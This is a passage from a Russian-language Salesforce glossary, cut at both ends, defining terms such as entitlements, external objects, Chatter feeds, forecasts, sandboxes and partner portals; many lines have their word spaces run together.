Правапозволяютопределитьналичиеуклиентапривилегиинаподдержкусцельюпоследующегосозданияобращения.
Право на поддержку может быть предоставлено клиенту на основе отдельного актива, организации или сервисного
контракта.

Контакт права
Контакт права — это контакт, имеющий право на поддержку (например, определенный клиент). Контакты права
отображаются в связанном списке прав «Контакты» или в связанном списке контактов «Права». Контакты права не
имеют макетов страниц, макетов поиска, кнопок, ссылок и типов записей.

Процесс права
Процесс передачи права - это временная шкала, содержащая все этапы (контрольные точки), которые должны быть
выполнены службой поддержки для принятия решения по обращению. Каждый процесс использует логику,
необходимую для определения способа применения соответствующего уровня обслуживания клиентов.

Шаблон права
Шаблон права — это предопределенные условия уровня обслуживания клиента, которые могут быть добавлены
пользователями в продукты. Например, создайте шаблоны права для веб-поддержки или поддержки по телефону,
чтобы разрешить пользователям добавление прав в продукты, предложенные клиентам.

Внешний источник данных
Внешний источник данных определяет способ доступа к внешней системе. Lightning Connect использует внешние
источники данных для доступа к данным, хранящимся вне организации Salesforce. Files Connect использует внешние
источники данных для доступа к сторонним системам содержимого. Внешние источники данных имеют связанные
внешние объекты, которые используются пользователями и платформой Force.com для взаимодействия с внешними
данными и содержимым.

Взаимосвязь внешнего поиска
Взаимосвязь внешнегопоиска связывает дочернийстандартный, настраиваемыйиливнешнийобъект сродительским
внешнимобъектом. Присозданииполявзаимосвязивнешнегопоискастандартноеполе «Внешнийкод» родительского
внешнего объекта сопоставляется со значениями поля взаимосвязи внешнего поиска дочернего объекта. Значения
полей внешнего объекта извлекаются из внешнего источника данных.

Внешний объект
Внешние объекты похожи на настраиваемые объекты, но соотносятся с данными, хранящимися вне организации
Salesforce.Каждый внешнийобъект соотносится с таблицей данных в заданном внешнемисточнике данных, а каждое
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полевнешнегообъекта соотноситсясостолбцомтаблицы. Пользователииплатформа Force.comиспользуютвнешние
объекты для взаимодействия с внешними данными.

Внешний пользователь
Внешние пользователи — это пользователи с лицензиями сообщества, клиентского или партнерского портала.

F

Вложение ленты, Chatter
Вложение ленты — это файл или ссылка, добавленная в сообщение ленты Chatter.

Фильтр ленты, Chatter
Фильтр ленты — это средство отображения набора сообщений в ленте Chatter на вкладке Chatter.

Отслеживание ленты, Chatter
Параметры администратора, определяющие записи и поля, которые должны отслеживаться в лентах Chatter. Если
для объекта включена функция отслеживания лент, то пользователи могут отслеживать записи этого типа объекта.
Еслидляполейвключенафункцияотслеживаниялент, топриизмененииполейотслеживаемыхзаписейпользователям
доступны обновления в ленте Chatter.

Справка поля
Текст настраиваемой справки, который может быть добавлен для любого стандартного или настраиваемого поля.
Справка отображается при наведении указателя мыши на значок справки, расположенный рядом с нужным полем.

Безопасность поля
Параметры, которыеопределяютуровеньдоступностиполя (скрытое, доступное, толькодлячтенияилиредактируемое).
Доступно только в версиях Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition.

Наборы полей
Набор полей — это группировка полей. Например, набор полей может содержать поля, описывающие личное имя,
отчество, фамилиюидолжностьпользователя.СтраницаVisualforceподдерживаетдинамическоеобращениекнаборам
полей. Если страница добавляется в управляемый пакет, то администраторы могут добавлять, удалять или изменять
порядок отображения полей набора для изменения полей, представленных на странице Visualforce, без изменения
кода.

Обновление поля
Обновление поля — это действие бизнес-правила и утверждения, определяющее поле для обновления и его новое
значение.

Соавтор
Соавторы могут просматривать, предоставлять общий доступ, редактировать, загружать исходную и новые версии
файла, а также изменять полномочия в сети Chatter.

Ответственный зафайл

Ответственность назначается при загрузке файла в Chatter или Salesforce CRM Content, либо при добавлениифайла в
ленту Chatter.

Ответственный может просматривать, редактировать, предоставлять или ограничивать общий доступ и удалять
файлы, загружать исходную и новые версии файла, а также изменять полномочия для работы с файлом.

Файл, личный
Личныйфайл Chatter обозначается значком и доступен только ответственному. Личнымфайлом является файл,
загруженный на вкладку «Файлы» или добавленный в личную библиотеку Salesforce CRM Content. Пользователь,
загрузивший или добавившийфайл, назначается ответственным.
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Файл, доступный в частном порядке
Файл Chatter, доступный в частном порядке, обозначается значком и доступен только ответственному и
определенным пользователям или группам.

Файл, публичный

Публичныйфайл обозначается значком и доступен всем пользователям Chatter в компании. Поиск и просмотр
данного файла доступны всем пользователям Chatter в компании.

Гость
Гости могут просматривать, загружать и предоставлять общий доступ к файлам Chatter.

Вкладка «Файлы»
Вкладка, на которой отображаются файлы пользователя в Chatter и Salesforce CRM Content.

Условиефильтра/критерийфильтрации
Условиедляотдельногополя, определяющееэлементы, которыедолжныбытьдобавленывсписковоепредставление
или отчет (например, «"Область" равно "Московская"»).

Финансовый год
Период, используемыйорганизациейдляфинансовогопланирования (например, прогнозирование), длина которого
обычносоответствуетдлинекалендарногогода. Финансовыйгодобычносодержитболеемелкиефинансовыепериоды
— кварталы или триместры.

Пометить
Значок выбора статуса («Спам», «Ужасно» или «Недопустимо») для вопроса или ответа.

Папка
Папка — это область для хранения отчетов, панелеймониторинга, документов илишаблонов эл. почты. Папкимогут
быть общими, скрытыми или общедоступными, а также доступными только для чтения или для чтения и записи.
Пользователи, имеющие доступ к содержимому папок, определяются ролями, полномочиями, общедоступными
группамии типамилицензий. Доступ к папкеможет быть предоставлен всемпользователяморганизацииили только
ответственному.

Отслеживать
Подписка на пользователя или запись, позволяющая просматривать связанные обновления в ленте Chatter. Чтобы
просмотреть сообщения пользователя, начните его отслеживание. Функция отслеживания записей позволяет
просматривать добавленные сообщения и комментарии, а также изменения полей.

Отслеживать, Chatter Answers
Подписка на вопрос, позволяющая получать электронные уведомления о добавленииответов или комментариев для
определенного вопроса.

Менюприложений Force.com
Меню, позволяющее пользователям однимщелчком мыши переключаться между настраиваемыми приложениями.
Меню приложений Force.com отображается в верхней части каждой страницы пользовательского интерфейса.

Приложение Force.com Enterprise
Настраиваемое приложение, поддерживающее не более восьми настраиваемых объектов и восьми настраиваемых
вкладок, доступ «Для чтения и записи» к организациям и контактам, а также доступ к совместному использованию,
Bulk API или Streaming API.

Приложение Force.com Light
Настраиваемое приложение, поддерживающее не более восьми настраиваемых объектов и восьми настраиваемых
вкладок, а также доступ «Только для чтения» к организациям и контактам; доступ к совместному использованию, Bulk
API или Streaming API не поддерживается.
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Стоимость прогноза
Применяется к продукту «Совместные прогнозы». Прогноз по доходу из перспективы менеджера прогнозов и сумма
возможностей ответственного и его подчиненных, включая все поправки прогноза.

Категория прогноза
Данное поле определяет категорию, назначенную возможности в прогнозе. Стандартная категория связывается с
этапом возможности, выбранным в раскрывающемся списке «Этап». Чтобы обновить поле «Категория прогноза»
для отдельной возможности, рекомендуем изменить прогноз соответствующей возможности.

Количество прогноза
Применяется к продукту «Совместные прогнозы». Прогноз по количеству из перспективы менеджера прогнозов и
сумма возможностей ответственного и его подчиненных, включая все поправки прогноза.

Пользователь прогноза
Пользователь, который может просматривать и работать с прогнозами нижестоящих пользователей в иерархии
прогнозов или территорий.

Прогнозы
Продажи, ожидаемые на основе финансового года организации.

Полеформулы
Тип настраиваемого поля. Поля формулы автоматически вычисляют значения на основе значений полей слияния,
выражений или других значений.

Full Sandbox
Безопасные среды Full Sandbox копируют всю производственную организацию и все ее данные, включая записи
стандартныхинастраиваемыхобъектов, документыивложения. Рекомендуемиспользоватьданнуюбезопаснуюсреду
для создания кода, тестирования изменений и обучения рабочей группы. Безопасная среда Full Sandbox может
обновляться каждые 29 дней.

G

Глобальный поиск
РасширенныйпоискпозаписямиполямSalesforceпосредствомобластипоиска, расположеннойвверхнемколонтитуле.
Функция глобальногопоискапозволяет отслеживатьиспользуемыеобъектыичастотуихиспользования, а такжепри
необходимости сортировать результаты поиска. Результаты поиска для объектов, используемых чаще всего,
отображаются вверху списка.

Глобальная переменная
Специальное поле слияния, которое может использоваться для ссылки на данные организации.

Модификатор доступа для любого метода, который должен использоваться вне приложения посредством SOAP API
или другого кода Apex.

Группа
Группа — это совокупность пользователей. Группы могут состоять из отдельных пользователей, других групп или
пользователейролей. Группыпозволяютопределить уровеньобщегодоступа к даннымиливыбрать данные, которые
должны быть синхронизированы при использовании приложения Connect для Outlook или Connect для Lotus Notes.

Пользователи могут создавать собственные персональные группы. Общедоступные группы, созданные
администраторами, могут использоваться всеми пользователями организации.

Group Edition
Продукт, предназначенный для малого бизнеса и рабочих групп с ограниченным количеством пользователей.
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Задача группы
Задача, назначенная группе пользователей. Обратите внимание, что задачи группы не зависимы и не связаны между
собой, поэтому могут редактироваться, переноситься и удаляться по отдельности.

Пользователь-гость
Пользователи-гостимогутпросматриватьобщедоступныесайтыSite.comи Force.com, а такжеобщедоступныестраницы
сообществ, посредством лицензии «Пользователь-гость», связанной с каждым сайтом или сообществом.Доступ
пользователей-гостейкобъектамиданнымопределяетсяпараметрамиобщегодоступавпрофиле «Пользователь-гость».

H

Период расцвета
Параметр «Период расцвета» определяет скорость, с которой устаревшие идеи перемещаются в нижние строки
рейтингана вложеннойвкладке «Популярныеидеи», чтобыуступитьместо темидеям, за которыенедавнобылиотданы
голоса. Чемменьшепериод расцвета, тем быстрее устаревшиеидеиперемещаются вниз страницы.Данныйпараметр
влияет на все зоны в организации.

Панель основных показателей
Настраиваемая таблица, содержащая не более четырех столбцов и двух строк, которая отображается в верхней части
всех основных вкладок консоли Salesforce. Данная панель позволяет быстро просматривать ключевую информацию
о записях.

Пользователи массового портала
Пользователи портала с ограниченным доступом, предназначенного для организаций с большим количеством
пользователей (от нескольких тысяч до нескольких миллионов). В отличие от других пользователей, пользователи
массового портала не имеют ролей, что позволяет избежать ошибок, связанных с вычислениями иерархии ролей. К
пользователям массового портала относятся типы лицензий «Пользователь массового клиентского портала» и
«Пользователь проверенного веб-узла».

Вкладка «Начальная страница»
Начальная страница, позволяющая пользователям выбирать параметры и значки боковой панели, просматривать
текущие задачи и действия или открывать другие вкладки.

Всплывающие сведения
Всплывающие сведения — это интерактивная область наложения, содержащая подробные сведения о записи и
отображающаясяпринаведенииуказателямышинанужнуюзапись в списке «Недавние элементы» набоковойпанели
или в поле поиска на странице сведений о записи. Пользователи могут просматривать сведения о записи перед
нажатием кнопки «Просмотр» для вызова страницы сведений о записи или кнопки «Правка» для вызова страницы
редактирования. Поля, отображаемые во всплывающих сведениях, определяются макетом мини-страницы записи.
Поля, отображаемые во всплывающих сведениях о документе, не подлежат настройке.

I

Идея
Идеи — этопредположения, опубликованныеучастникамисообществаидейиорганизованныепо зонам. Например,
идеядля зоны, специализирующейсяпотеме «Автомобильныепринадлежности», можетиметь следующийзаголовок:
«Изолированные подстаканники для хранения напитков». Идея для зоны, специализирующейся по теме «Льготы
сотрудников компании», может иметь следующий заголовок: «Корпоративный детский сад».

Немедленное действие
Действие бизнес-правила, выполняемое при выполнении условий бизнес-правила.
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Взаимосвязь непрямого поиска
Взаимосвязьнепрямогопоиска связываетдочернийвнешнийобъект сродительскимстандартнымилинастраиваемым
объектом. При создании поля взаимосвязи непрямого поиска для внешнего объекта рекомендуем задать поля
родительского и дочернего объектов для сопоставления и связывания записей во взаимосвязи. Например, выберите
настраиваемое поле уникального внешнего кода родительского объекта для сопоставления с полем взаимосвязи
непрямого поиска дочернего объекта, значения которого извлекаются из внешнего источника данных.

Влияние, Chatter
Степень влияния пользователя в сети Chatter. Данный показатель определяется количеством опубликованных
сообщений и комментариев, а также количеством полученных комментариев и предпочтений.

• Популярные агенты влияния принимают активное участие во многих социальных сетях и регулярно делятся
ценным содержимым.

• Активные агенты влияния побуждают других пользователей к участию и предоставлению информации.

• Наблюдатели принимают пассивное участие или только зарегистрировались в Chatter.

Журнал взаимодействия
Областьконсоли Salesforce, позволяющаядобавлятьпримечаниякосновнойрабочейзаписи, открыватьновыевкладки
и просматривать связанный список «Примечания и вложения». Для более удобного поиска и просмотра журналы
взаимодействия добавляются в связанный список «Журнал действий» в качестве архива. Администраторы могут
настроить журналы взаимодействия для отображения полей задач.

J

Объект объединения
Настраиваемыйобъектсдвумявзаимосвязями «Основная—подробная». Настраиваемыйобъектобъединенияпозволяет
моделироватьвзаимосвязь «Многиекомногим» междудвумяобъектами.Например, настраиваемыйобъект «Ошибка»
может быть связан со стандартным объектом «Обращение» таким образом, что ошибка может быть связана с
несколькими обращениями, а обращение может быть связано с несколькими ошибками.

K

Агент базы знаний
Система Salesforceиспользует термин «агентбазы знаний» для обозначения отдельного типа пользователя. Агентыбазы
знаний — это пользователи статей во внутреннем приложении Salesforce Knowledge. Данные пользователи могут
использовать вкладку «Статьи» для поиска и просмотра статей, но не могут создавать, редактировать и управлять
статьями.

Боковая панель базы знаний
Боковая панель консоли Salesforce, содержащая заголовки статей Salesforce Knowledge, которые могут использоваться
дляпринятиярешенийпотекущимобращениям. Боковаяпанельподдерживает автоматическийпоискиотображение
статей базы знаний, содержащих поисковый запрос в поле обращения «Тема». Боковая панель, настроенная
администратором, доступна только пользователям Salesforce Knowledge.

L

Макет
См. определение «Макет страницы».
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Интерес
Интерес — это потенциальный клиент, интересующийся продуктами или услугами компании.

Библиотека
Хранилищефайлов в приложении Salesforce CRM Content.

Полномочие библиотеки
Набор привилегий, определяющих уровень доступа пользователя в библиотеке Salesforce CRM Content.

Lightning Connect
Lightning Connectпредоставляетпользователямдоступк записям, хранящимсявне системы Salesforce (например, данные
из системы планирования бизнес-ресурсов). Система Salesforce позволяет представлять данные во внешних объектах
и просматривать внешние данные в режиме реального времени посредством выносок веб-служб для внешних
источников данных.

Нравится
Данная ссылка позволяет выразить свое одобрение по конкретному сообщению или комментарию в ленте Chatter.
При нажатии данной ссылки пользователь будет получать электронные уведомления о добавлении последующих
комментариев.

Нравится, Chatter Answers
Выражение поддержки или подтверждение точности и полезности вопроса, ответа или статьи базы знаний.

Цена по прайс-листу
Цена продукта в настраиваемом прайс-листе.

Списковое представление
Отображение списка элементов (например, организаций или контактов) на основе заданного критерия. Система
Salesforce поддерживает несколько стандартных представлений.

Списковое представление на консоли Agent Console — это верхняя рамка, отображающая список записей на основе
определенныхкритериев. Списковыепредставления, доступныедляотображениянавкладке «Консоль», соответствуют
списковымпредставлениям, заданнымнавкладкахдругихобъектов. Консольнеподдерживает возможность создания
списковых представлений.

Live Agent
Приложение Live Agent — это интерактивный текстовый чат, который позволяет сервисным организациям
взаимодействовать со своими клиентами и посетителями веб-сайта в режиме реального времени.

Консоль Live Agent
Консоль Live Agent — это специализированная консоль, используемая агентами службы поддержки для управления
чатами Live Agent. Агенты могут обрабатывать запросы и участвовать в текущих чатах, а также просматривать записи
Salesforce и статьи Salesforce Knowledge.

Имя на родном языке
Значение, сохраненноедляполяна языкепользователяилиорганизации. Имянародномязыке связаносостандартным
именем поля.

Диалоговое окно поиска
Всплывающее диалоговое окно, позволяющее выполнять поиск нового элемента (например, контакта, организации
или пользователя).

Поле поиска
Тип поля, содержащее значение, связываемое с другой записью. Поля поиска могут быть доступны в тех макетах
страницы, гдеобъектысвязаныдруг сдругомпосредствомвзаимосвязи «Поиск» или «Основная-подробная». Например,
обращения связаны с активами посредством взаимосвязи «Поиск», поэтому пользователи могут выбрать нужные им
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активы с помощьюдиалогового окна поиска на странице редактирования обращения илищелчком по имени актива
на странице сведений об обращении.

Взаимосвязь поиска
Взаимосвязьмеждудвумя записями, благодарякоторойзаписимогутбыть связаныдруг с другом. Например, отдельный
активможетбыть связансобращением, так какобращениясвязаныс активамипосредствомвзаимосвязипоиска. Поле
поиска дляоднойиз сторонвзаимосвязипозволяетпользователямнажимать значокпоискаи выбирать другуюзапись
во всплывающем окне. Чтобы просмотреть все связанные записи, рекомендуем воспользоваться связанным списком
соответствующей записи. Если поле поиска ссылается на удаленную запись, то система Salesforce удаляет значение
поля поиска по умолчанию. При необходимости записи, используемые во взаимосвязи поиска, могут быть
заблокированы от удаления.

M

Пользователь Marketing
Отдельный сотрудник организации, который может управлять кампаниями. Полномочия пользователя Marketing
предоставляютсяпутемустановкифлажка «Пользователь Marketing» на страницеличныхсведенийпользователя.

Создание, редактирование и удаление кампаний, а также расширенная настройка кампаний, доступны только
пользователям Marketing.

Доступ к мастерам импорта кампаний предоставляется пользователям Marketing только при наличии профиля
«Пользователь Marketing» или полномочия «Импорт интересов».

Взаимосвязь «Основная — подробная»
Взаимосвязь между двумя разными типами записей, благодаря которой записи могут быть связаны друг с другом.
Например, организации могут быть связаны с возможностями посредством взаимосвязи «Основная–подробная».
Данный тип взаимосвязи влияет на удаление записи и ее безопасность, поэтому наличие поля взаимосвязи поиска в
макете страницы является обязательным.

Основной раскрывающийся список
Полный список значений раскрывающегося списка, доступных для типа записи или бизнес-процесса.

Матричный отчет
Матричные отчеты аналогичны сводным отчетам, но позволяют группировать и резюмировать данные по строкам
и столбцам. Данные отчеты могут использоваться в качестве исходных для компонентов панели мониторинга.
Рекомендуемиспользоватьданныйтипотчетадля сравнениясвязанныхобщихсумм, особенноприналичиибольших
объемовданныхдлярезюмированияинеобходимостисравнениязначенийвнесколькихразныхполяхилипросмотра
данных по дате и продукту, пользователю или географии.

Статус участника
Статусинтересаили контакта в отношениик кампании. Например, интересили контактмогут иметь статус участника
«Запланировано», «Отправлено» или «Получен ответ» на различных этапах кампании электронных рассылок.

Сообщение, Chatter
СообщениеChatter — это средстволичноговзаимодействия с другимипользователямиChatter. Например, сообщение
может быть отправлено менеджеру по личному вопросу или нескольким выбранным пользователям, имеющим
отношение к определенной теме. Сообщения не отображаются в ленте и профиле текущего пользователя, а также в
любой другой общедоступной области сети Chatter.

Поле слияния
Поле слияния — это поле, которое может быть добавлено в шаблон эл. почты, шаблон стандартного письма,
настраиваемую ссылку или формулу для внедрения значений из записи.Например, поле «Здравствуйте,
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{!Contact.FirstName}!» использует поле слияния контакта для извлечения значения поля контакта «Личное
имя», необходимого для индивидуализации сообщения эл. почты.

Контрольная точка
Выполнение контрольных точек является обязательным условием процесса поддержки. Контрольные точки — это
показатели, определяющие уровни предоставляемого клиентам обслуживания. Например, контрольными точками
считаются время отправки первого ответа и время принятия решения по обращению.

Действия контрольных точек
Действие контрольной точки - это зависимое от времени действие бизнес-правила, которое выполняется на каждом
этапе (контрольная точка) процесса передачи права. Примеры действий контрольных точек: отправка электронных
предупрежденийвыбраннымпользователямзачасдонарушенияправилотправкипервогоответаилиавтоматическое
обновление некоторых полей обращения через минуту после успешной отправки первого ответа.

Макет мини-страницы
Набор элементов текущего макета страницы записи, выбранный администратором для отображения в
мини-представлении консоли Agent Console и во всплывающих сведениях. Макеты мини-страниц наследуют связи
между типами записей и профилями, связанные списки, поля и параметры доступа к полям из макета страницы.

Мини-представление
Праваярамка консолиAgent Console, отображающаязаписи, связанныес записью, котораяотображается вподробном
представлении. Поля, отображаемыевмини-представлении, определяютсяадминистраторомвмакетахмини-страниц.
Мини-представление отображается только в том случае, если запись, отображаемая в подробном представлении,
связана с другими записями.

Многопользовательское событие
Запланированное событие для нескольких приглашенных пользователей. Также называется конференцией.
Многопользовательское событие может быть создано путем приглашения других пользователей на любое новое
календарное событие.

Раскрывающийся список со множественным выбором
См. определение «Раскрывающийся список (множественный выбор)».

Мои параметры
Если организация использует улучшенный интерфейс пользователя «Настройка» и пользователь имеет Salesforce
Classic, то личные параметры доступны в меню «Мои параметры» под именем пользователя.

N

Именованные регистрационные данные
Именованные регистрационные данные одновременно определяют URL-адрес конечной точки выноски и ее
обязательные параметры проверки подлинности.Именованные регистрационные данные, заданные как конечная
точка, могут упростить настройку проверенных выносок.

Вкладка «Навигация»
Вкладка консоли Salesforce, содержащая раскрывающуюся кнопку, которая позволяет выбирать и просматривать
начальные страницы объектов.

Псевдоним
Прозвище — это имя, используемое для определения пользователя в сообществе. Данное поле может содержать не
более 40 символов. Данное поле может редактироваться стандартными пользователями.
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O

Объект
Объект позволяет хранить информациюв организации Salesforce. Объект — это общее определение типа хранимой
информации. Например, объект «Обращение» позволяет хранить сведения о запросах клиентов. Каждому объекту
организации может соответствовать множество записей, хранящих сведения об отдельных экземплярах этого типа
данных. Например, одна запись обращения может хранить информацию о запросе на обучение Алексея Иванова, а
другая запись обращения может хранить информацию об ошибке конфигурацииМарии Петровой.

Справка объекта
Текст настраиваемой справки, который может быть добавлен для любого настраиваемого объекта. Этот текст
отображаетсянаначальнойстраницезаписинастраиваемогообъекта, настраницахсведенийиредактированиязаписи
настраиваемого объекта, а также в списковых представлениях и связанных списках.

Поставщик OData
Поставщик OData — это служба удаленных данных, использующая OData для предоставления доступа к данным,
хранящимся на внешнем сервере. Функция Lightning Connect позволяет определять внешние источники данных для
подключения системы Salesforce к поставщикам OData, а также определять внешние объекты для соотнесения с
внешними данными.

Open CTI
Интерфейс прикладного программирования, позволяющий разрабатывать системы компьютерной телефонии,
которыемогутбытьинтегрированыв систему Salesforce безиспользования адаптеров CTI иликлиентскихприложений.

Оператор
Оператор — этоэлемент, используемыйдляуточненияилирасширенияобластипоиска. Какправило, поискиSalesforce
поддерживают следующие операторы: И, ИЛИ, ИНЕ, круглые скобки ( ) и кавычки " ".

Возможности
Возможности — это продажи и ожидаемые сделки пользователя, подлежащие отслеживанию.

Группа, работающая с возможностями
Группа, работающаясвозможностями, — этосовокупностьпользователей, работающихсовместнонадвозможностями.
Типичная группа, работающая с возможностями, может состоять из менеджера по работе с клиентами, специалиста
посбытуиторговогопредставителя. Группа, работающаясвозможностями, можетбыть заданадлякаждойсобственной
возможности.

Произвольные интересы
Произвольныйинтерес — это особыйисточникинтереса, указывающийна то, чтоинтерес был созданприпереходе
пользователянавеб-сайторганизациипосредствомбесплатного (произвольного) списка, доступногововсехосновных
поисковых системах, и заполненииформы Web-to-Lead, содержащей код отслеживания Salesforce. Сведения об
источнике каждого произвольного интереса содержат поисковую систему и поисковуюфразу.

Организация
Развертывание Salesforce, содержащее заданный набор лицензированных пользователей. Организация — это
виртуальное пространство, предоставляемое отдельному клиенту Salesforce. Организация пользователя содержит все
соответствующие данные и приложения, а также изолирована от всех других организаций.

Единый адрес
Единый адрес позволяет связать отдельный адрес эл. почты со всеми пользователям определенного профиля.

Исходящее сообщение
Исходящее сообщение — это действие бизнес-правил, утверждений или контрольных точек, которое отправляет
указанныесведенияуказаннойконечнойточке (например, внешнейслужбе). Параметрыисходящихсообщениймогут
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быть заданы в меню настройки Salesforce. Затем рекомендуем настроить внешнюю конечную точку. Получатель
сообщений может быть создан посредством SOAP API.

Только стоимость ответственного
Применяется к продукту «Совместные прогнозы». Сумма всех возможностей дохода пользователя (без поправок).

Только количество ответственного
Применяется к продукту «Совместныепрогнозы». Сумма всех возможностей количествапользователя (без поправок).

Конфигурация Salesforce for Outlook
Конфигурации Salesforce for Outlook содержат параметры для данных, которые доступны пользователям
Salesforce for Outlook для синхронизации приложения Microsoft® Outlook® с системой Salesforce. Администраторы могут
создавать отдельные конфигурации для разных типов пользователей и предоставлять пользователям полномочия
для редактирования некоторых собственных параметров. Например, группа, работающая с возможностями, может
синхронизировать все данные, тогда как менеджеры могут синхронизировать только события.

Ответственный
Отдельный пользователь, назначенный записи (например, контакту или обращению).

Р

PaaS
См. определение «Платформа как услуга».

Пакет
Набор компонентов и приложений Force.com, доступный другим организациям в каталоге AppExchange. Пакеты
позволяютобъединять приложения со связаннымикомпонентамидля последующей загрузки в каталогAppExchange.

Установка пакета
ИнтеграциясодержимогопакетаворганизациюSalesforce. ПакетAppExchangeможетсодержатьприложение, компонент
илиих комбинацию. Чтобыпредоставитьпользователяморганизациидоступ к установленномупакету, рекомендуем
развернуть его компоненты.

Макет страницы
Макет страницы — это организация полей, настраиваемых ссылок и связанных списков на страницах сведений или
редактирования записи.Макеты страницы позволяют структурировать страницы для пользователей. В версиях
Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition доступ пользователей к определенным полям
должен быть ограничен посредством параметров безопасности поля.

Родительская организация
Организация или компания, связанная с дочерней организацией. Чтобы получить общее представление обо всех
взаимосвязях «Потомок — родитель», щелкнитессылку «Просмотриерархии» в записиродительскойорганизации.

Partial Copy Sandbox
Безопасная среда Partial Copy Sandbox — это безопасная среда Developer Sandbox, которая дополняется данными,
определяемыми посредствомшаблона безопасной среды.

Партнер
Партнер — этокомпания, скоторойсотрудничаетпользовательвцеляхзакрытиясделки. Связанныйсписок «Партнеры»
может использоваться для каждой новой возможности или организации, так как позволяет сохранять сведения о
партнерах и их ролях в возможностях или организациях. В качестве партнера может выступать текущая организация
Salesforce.Выборролипартнераинициирует автоматическое созданиеобратныхотношенийпартнеров со связанной
организацией, поэтому обе организации являются друг другу партнерами.
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Организации-партнеры
Организация-партнер — этоорганизацияSalesforce, используемаяменеджеромканалараспределениядля управления
компаниями-партнерами, пользователями-партнерами и их действиями на партнерском портале.

Роль партнера
Выбор роли, выполняемой организацией в связанных сделках, в связанном списке «Партнеры» для отдельной
организации или возможности.

Пользователь-партнер
Пользователи-партнеры — этопользователиSalesforce, которымпредоставляетсяограниченныйдоступ. Ониявляются
внешнимипользователямиорганизации, занимающимисяреализациейпродуктовили услуг через непрямые каналы
сбыта. Данные пользователи связаны с отдельной организацией-партнером, имеют ограниченный доступ к данным
и выполняют вход посредством партнерского портала.

Партнерский портал
Партнерскийпорталпредоставляетпользователям-партнерамвозможностьвхода в систему Salesforceчерезотдельный
веб-портал, а не через узел Salesforce.

План продаж (%)
В версиях прогнозирования, поддерживающих планы продаж: вычисленное значение прогноза, указывающее на
процент от плана продаж, который будет закрыт торговым представителем. Данный показатель определяется путем
деления значения поля «Стоимость: обязательство» на значение поля «План продаж».

Полномочие
Полномочие — это настройка, позволяющая пользователю выполнять определенныефункции в системе Salesforce.
Полномочия могут быть включены в наборах полномочий и профилях.Например, полномочие «Редактирование»
для настраиваемого объекта и полномочие «Изменение всех данных».

Набор полномочий
Совокупность параметров и полномочий, которая предоставляет пользователям доступ к различным инструментам
и функциям.

Организация-лицо
Организация-лицо — это отдельный потребитель, связанный с текущей организацией деловыми отношениями
(например, клиент консультационнойфирмы, турист или покупатель интернет-магазина). Организации-лица
применяются к организациям, реализующиммодель «Бизнес для потребителя» вместо модели «Бизнес для бизнеса».

Personal Edition
Продукт, предназначенный для индивидуальных торговых представителей и отдельных пользователей.

Личные параметры
Параметрынастройки, позволяющиепользователяминдивидуализироватьприложение Salesforce. Все пользователи
Salesforce могут редактировать собственные личные параметры. Способ доступа к личным параметрам (посредством
раздела «Личные параметры» меню «Настройка» или отдельного меню «Мои параметры») определяется заданными
параметрами пользовательского интерфейса организации.

Поиск пофразе
Тип полнотекстового поиска, возвращающего только элементы, которые содержат указаннуюфразу (например,
«управление отношениями с клентами»).

Раскрывающийся список
Списоквыбора значений, доступныхдляотдельногополяобъекта Salesforce (например, полеорганизации «Отрасль»).
Пользователи могут выбирать одно значение из списка доступных вариантов вместо ввода значения в поле. Также
см. определение «Основной раскрывающийся список».
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Раскрывающийся список (со множественным выбором)
Списоквыборазначений, доступныхдляотдельногополяобъектаSalesforce. Раскрывающиесяспискисомножественным
выбором позволяют выбирать как минимум одно значение. Чтобы выбрать значение, дваждыщелкните нужное
значение. Чтобы выбрать дополнительные значения из прокручиваемого списка, нажмите клавишу CTRL, выберите
нужные значения и переместите их в выбранное поле посредством стрелки.

Значения раскрывающегося списка
Варианты выбора, отображаемые в раскрывающемся списке для конкретного поля. Некоторые значения являются
стандартными, тогда как другие значения могут изменяться или задаваться администратором.

Фиксированные списки
Списки, отображающиесяв верхнейилилевойчастиконсоли Service Cloud. Данныеспискипозволяютодновременно
просматривать рабочий список и сведения о записи. Поддержка фиксированных списков должна быть включена
администратором.

Ожидаемые продажи
Рассчитанное количество открытых возможностей, имеющих дату закрытия в данном квартале. Данное поле
отображается на страницах просмотра и редактирования сведений о прогнозе. Ожидаемые продажи менеджера
включают собственные открытые возможности и открытые возможности всей рабочей группы.

Платформа как услуга (PaaS)
Среда, позволяющаяразработчикамиспользоватьинструментыпрограммирования, предоставленныепоставщиком
услуг, длясозданияиоблачногоразвертыванияприложений. Приложениеразмещаетсякак услугаидоступноклиентам
через Интернет. Поставщик PaaS предоставляет интерфейс API для создания и расширения специализированных
приложений. Ответственность за ежедневное обслуживание, функционирование и поддержку развернутого
приложения, а также за данные каждого клиента, несет поставщик PaaS. Данная услуга позволяет программистам
устанавливать, настраиватьиобслуживатьприложениябезиспользованиясобственногоаппаратногоипрограммного
обеспечения, а также без помощи сотрудников ИТ-отдела. Среда PaaS позволяет предоставлять услуги в любом
сегменте рынка.

Популярные идеи
Вложенная вкладка «Популярные идеи» позволяет сортировать идеи по внутреннему рейтингу, основанному на
времениразмещенияположительных голосов заидею. Независимоотобщегоколичестваочков, идеисболееновыми
положительными голосами отображаются выше, чем идеи с более старыми положительными голосами. Таким
образом, чем позже идея приобрела популярность, тем выше она отображается на странице.

Популярные вопросы
Популярностькаждоговопросаопределяется количествомпользователей, выбравшихссылку «Нравится» в течение
определенного промежутка времени.

Сообщение
Комментарий верхнего уровня в ленте Chatter.

Публикация сообщения
Общедоступное сообщение Chatter может быть скопировано и опубликовано в собственном профиле или группе
со своим участием. Кроме того, чтобы предоставить другим пользователям Chatter доступ к сообщению, отправьте
ссылку на данное сообщение посредством сообщения эл. почты или мгновенного сообщения.

Прайс-лист
Прайс-лист — это список продуктов, продаваемых организацией. Доступно только в версиях Professional Edition,
Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition.

Основной контакт
Поле страницы сведений о компании, отображающее основное контактное лицо организации.
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Также определяет основной контакт, связанный с организацией, возможностью или контрактом. Основной контакт
отмечен флажком в связанном списке «Роли контакта» для организации, контракта или возможности.

Основной партнер
Организация-партнер, играющая ключевую роль в закрытии возможности. Основной партнер отмечен флажком в
связанном списке возможности «Партнеры».

Основная вкладка
Вкладка консоли Salesforce, отображающая сведения об основном рабочем элементе (например, организация).

Средство визуализации процессов
Инструмент, предназначенный для отображения графической версии процесса утверждения. Диаграмма, доступная
толькодляпросмотра, отображаетсяв видеблок-схемы. Диаграммаиинформационнаябоковаяпанельиспользуются
